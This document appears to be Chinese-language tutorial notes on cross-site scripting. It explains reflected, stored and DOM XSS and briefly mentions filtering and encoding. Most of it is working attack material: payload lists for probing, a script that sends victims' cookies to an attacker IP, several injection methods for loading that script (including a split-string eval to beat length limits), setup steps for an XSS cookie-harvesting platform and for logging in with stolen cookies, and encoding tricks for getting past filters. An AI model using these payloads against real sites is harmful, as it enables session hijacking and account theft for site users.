XSS 攻击全称跨站脚本攻击,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户 访问,当用户访问到有恶意代码的网页就会产生 xss 攻击
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
对输入(和 URL 参数)进行过滤,对输出进行编码
反射型xss
存储性xss
dom型xss
非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码
攻击方法:
攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户
当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击
持久化存储
代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss
字符串补全进行攻击
DOM 型 xss 程序中,只有 前端代码,js dom 通过操作 HTML 或者 css 实现 HTML属性、方法、事件,因此程序中没有与服务器进行交互
function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } //试试:'><img src="#" onm ouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行
可以找字典,bp一条一条跑
例如:
<script>alert(1)</script> javascript:alert(1)//dom类型的,标签内使用,优点:无需闭合 <svg onl oad=alert(1)> <script>console.log(1);</script <h5>1\</h5> "><span>x</span>// '><span>x</span>//
如果说一点过滤都没有大概率有xss漏洞
加载远程payload盗取cookie
第一步:
桌面创建js文件
var img=document.createElement("img"); img.src="http://192.168.5.130?cookie="+escape(document.cookie); document.body.appendChild(img);
第二步:
切换目录到桌面
kail开启小型 web 服务python -m SimpleHTTPServer 80
第三步:
将js写入服务器
法一:
<script src="http://192.168.5.130/xss.js"></script>
法二:(有的时候script会被禁止)
<img src='' onerror=document.body.appendChild(document.createElement('script')).src='//192.168.5.130/xss.js'>
法三:(有时输入长度会被限制,而且是在后端限制的,前端改不了)
使用字符拼接,只有存储性xss可以
<script>z='document.'</script> <script>z=z+'write("'</script> <script>z=z+'<script'</script> <script>z=z+' src='</script> <script>z=z+'//192.'</script> <script>z=z+'168.5'</script> <script>z=z+'.130/xss'</script> <script>z=z+'.js></sc'</script> <script>z=z+'ript>")'</script> <script>eval(z)</script>
法4:支持jquery的情况下使用
<script>$.getScript("//192.168.5.130/xss.js");</script>
注意点:1. xss攻击语句要尽量短,太长可能会被限制长度 2.推荐使用
xss platform
github:https://github.com/78778443/xssplatform
使用phpstudy快速搭建
nginx+mysql,apache不行的
添加网站数据库之后,在www目录下找到nginx.htaccess
进行伪静态,填入
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last; rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last; rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last; rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
重启服务器,mysql,访问xxx.com/install/step1/php, 进行安装
进入之后,查看项目,查看代码,payload网址可以访问就是搭建成功了
重点在于用nginx,不要用apache,伪静态化
当用户输入xss恶意代码时,会将用户cookie,usergent等信息传到平台上
在浏览器上输入网址,打开代理,bp改cookie,直接登陆
如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成' xss 攻击代码不要带用
单引号或双引号
使用这种
alert(/xss/)
c在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。
不使用即可
用下面这两种语法
<script>prompt(/xss/);</script> <script>confirm(/xss/);</script>
在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符
进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于)
和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或
者>,这两个字符被实体化后在 html 里就不能执行了。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 " ’ (单引号)成为'
< (小于)成为 <
>(大于)成为 &g
但是 input 标签里是不用考虑标签实体化,因为用不上<>这两个标签。
攻击语句:
"onclick="javascript:alert('xss');"//
'onclick="javascript:alert('xss');"//
<script>alert(String.fromCharCode(88,83,83))</script>
对应xss
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
对应
<a href="javascript:alert(2)">123</a>
<script>eval("\141\154\145\162\164\50\61\51");</script>
对应
<script>eval("alert(1)");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
对应
<script>eval("alert(1)");</script>
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
对应
<script>alert('xss');</script>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
对应
<script>alert(1)</script>